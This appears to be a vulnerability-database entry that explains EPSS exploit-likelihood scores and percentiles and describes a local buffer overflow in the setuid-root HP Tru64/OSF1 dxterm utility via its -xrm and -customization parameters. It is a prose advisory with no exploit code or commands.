EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The HP Tru64/OSF1 dxterm utility is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient checking of command line input supplied via the "-xrm" parameter. This parameter serves the same purpose as the "-customization" command line parameter, which is also not sufficiently checked.
Since this utility is installed setuid root, code execution that results from successful exploitation of this issue will yield root privileges on the system.
